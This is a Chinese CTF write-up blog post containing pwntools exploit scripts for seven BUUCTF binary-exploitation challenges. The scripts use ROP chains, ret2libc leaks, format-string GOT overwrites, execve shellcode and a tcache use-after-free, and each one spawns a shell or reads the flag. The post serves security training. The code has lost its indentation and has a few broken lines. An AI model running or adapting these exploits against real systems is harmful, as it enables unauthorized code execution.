BUUCTF第一周

从一分题开始向后推

cmcc_pwnme2

(易)考点:

  • 栈溢出
  • 函数调用

32位程序,有伪后门,构造bss段string调用后门

from pwn import *
import sys

arch = 64
challenge = "./pwnme2"
# libc_path = ''

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
ru("Please input:")
pop_ret = 0x08048409
payload = (0x6c + 0x4) * b'a' + p32(elf.plt["gets"]) + p32(pop_ret) + p32(0x0804A060) + p32(0x80485CB)
sl(payload)
sl("/flag")
pass

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 27788)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwnme2}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()

picoctf_2018_can_you_gets_me

(易)考点:

  • 栈溢出
  • 静态编译

ropchain一把梭

from pwn import *
import sys
from struct import pack

arch = 32
challenge = "./PicoCTF_2018_can-you-gets-me"

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
p = 0x1c * b'a'
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
sl(p)

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 28408)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

pau = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print }}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()

axb_2019_brop64

(易)考点:

  • 栈溢出
  • ret2libc
from pwn import *
import sys

arch = 64
challenge = "axb_2019_brop64"
libc_path = '../libc-2.23.so'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
ru("Please tell me:")
pop_rdi_ret = 0x0000000000400963
func = 0x400845
payload = b"a" * 0xD8 + p64(pop_rdi_ret) + p64(elf.got["read"]) + p64(elf.plt["puts"]) + p64(func)
sd(payload)
leak = uu64(ru("\x7f")[-6:]) - libc.sym["read"]
echo("libc base:" + hex(leak))
libc.address = leak
echo("/bin/sh:" + hex(libc.search(b"/bin/sh").__next__()))
payload = b"a" * 0xD8 + p64(pop_rdi_ret) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym["system"]) + p64(0xdeadbeef)
sd(payload)
pass

local = int(sys.argv[1])
elf = ELF(challenge)
libc = ELF(libc_path)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge,env = {"LD_PRELOAD":libc_path})
else:
io = remote("node4.buuoj.cn", 29520)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print axb_2019_brop64}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()

wdb_2018_2nd_easyfmt

(易)考点:

  • 循环32位格式化字符串

pwntools一把梭

from pwn import *
import sys

arch = 32
challenge = "./wdb_2018_2nd_easyfmt.1"
# libc_path = '/glibc/2.23-0ubuntu11.3_i386/libc-2.23.so'
libc_path = "../libc-2.23_32.so"

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
ru("Do you know repeater?")
sd("%35$p")
ru("0x")
leak = int(re(8, 0), base = 16) - 247 - libc.sym["__libc_start_main"]
echo("leak:" + hex(leak))
payload = fmtstr_payload(6, {elf.got["printf"]:leak + libc.sym["system"]})
sd(payload)
pass

local = int(sys.argv[1])
elf = ELF(challenge)
libc = ELF(libc_path)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge,env = {"LD_PRELOAD":libc_path})
else:
io = remote("node4.buuoj.cn", 27749)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0


exp()
ia()

x_ctf_b0verfl0w

(较易)考点:

  • 手写shellcode
  • 栈溢出

有个hint函数,里面有条jmp esp指令

栈空间太小,需要手写shellcode,然后ret地址改为jmp esp的gadget(开RWX了)

from pwn import *
import sys

arch = 32
challenge = "./b0verfl0w"

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
context.arch = 'i386'
shellcode = '''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
payload = asm(shellcode)
echo(str(len(payload)))
payload = payload.ljust(0x24, b"\x00")
payload += p32(0x8048504) + asm("sub esp,0x28;jmp esp")
sl(payload)
pass

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 26603)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))


exp()
ia()

cmcc_pwnme1

(易)考点:

  • 栈溢出,ret2libc
from pwn import *
import sys

arch = 64
challenge = "./pwnme1"

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
ru(">> 6. Exit")
sl("5")
ru("Please input the name of fruit:")
payload = 0xA8 * b'a' + p32(elf.plt["puts"]) + p32(0x08048624) + p32(elf.got["puts"])
sl(payload)
libc = ELF("../libc-2.23_32.so")
leak = uu32(ru("\xf7")[-4:]) - libc.sym["puts"]
payload = 0xA8 * b'a' + p32(leak + libc.sym["system"]) + p32(0x08048624) + p32(leak + libc.search(b"/bin/sh").__next__())
sl(payload)
pass

local = int(sys.argv[1])
elf = ELF(challenge)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 26780)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))


exp()
ia()

ciscn_2019_final_2

(难)考点:

  • 文件描述符
  • uaf

总结:dup2函数,修改IO_2_1_stdin结构体中的文件描述符字段(输入为0,配合dup2函数泄露flag文件),旧版libc2.27无edit的uaf,bss没有heaparray只有heapptr的时候用uaf一块tcache,然后改next指针来做处理,虽然没edit但是可以add后改(本身指向的就是自己)

from pwn import *
import sys

arch = 64
challenge = "./ciscn_final_2"
libc_path = '/glibc/2.27-3ubuntu1_amd64/libc.so.6'

def dbg():
context.log_level = 'debug'

def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")

def exp():
add(1,0x30)
free(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
free(2)
add(1,0x30)
free(2)
chunk = show(2) - 0xa0
add(2, chunk)
add(2, chunk)
add(2, 0x91)

for i in range(7):
free(1)
add(2, 0x30)

free(1)
stdin_fileno = ((show(1) - 96 - 0x10) & 0xffff) - (libc.sym["__malloc_hook"] - libc.sym["_IO_2_1_stdin_"]) + 0x70
echo(hex(stdin_fileno))
add(1, stdin_fileno)
for i in range(4):
free(1)
add(2, stdin_fileno)
chunk = show(1) + 0x30
add(1, chunk)
add(1, stdin_fileno)
add(1, stdin_fileno)
add(1, 666)
edit("flag出来吧")

pass

local = int(sys.argv[1])
elf = ELF(challenge)
libc = ELF(libc_path)

context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

if local:
io = process(challenge,env = {"LD_PRELOAD":libc_path})
else:
io = remote("node4.buuoj.cn", 29350)

if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'

p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))

bps = []
pie = 0

_add,_free,_edit,_show = 1,2,4,3

menu = "which command?"

def add(choice, content):
sla(menu, str(_add))
sla("2: short int", str(choice))
sa("your inode number:", str(content))

def edit(content):
sla(menu, str(_edit))
ru("what do you want to say at last?")
sl(content)

def free(idx):
sla(menu, str(_free))
sla("2: short int", str(idx))

def show(show_type):
sla('which command?\n> ', '3')
sla('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
ru('your int type inode number :')
elif show_type == 2:
ru('your short type inode number :')
return int(io.recvuntil('\n', drop=True))

def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./ciscn_final}}'".format(io.pid)).readlines()[1],16_2)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)

exp()
ia()
文章作者: Alex
文章链接: http://example.com/2021/07/28/BUUCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~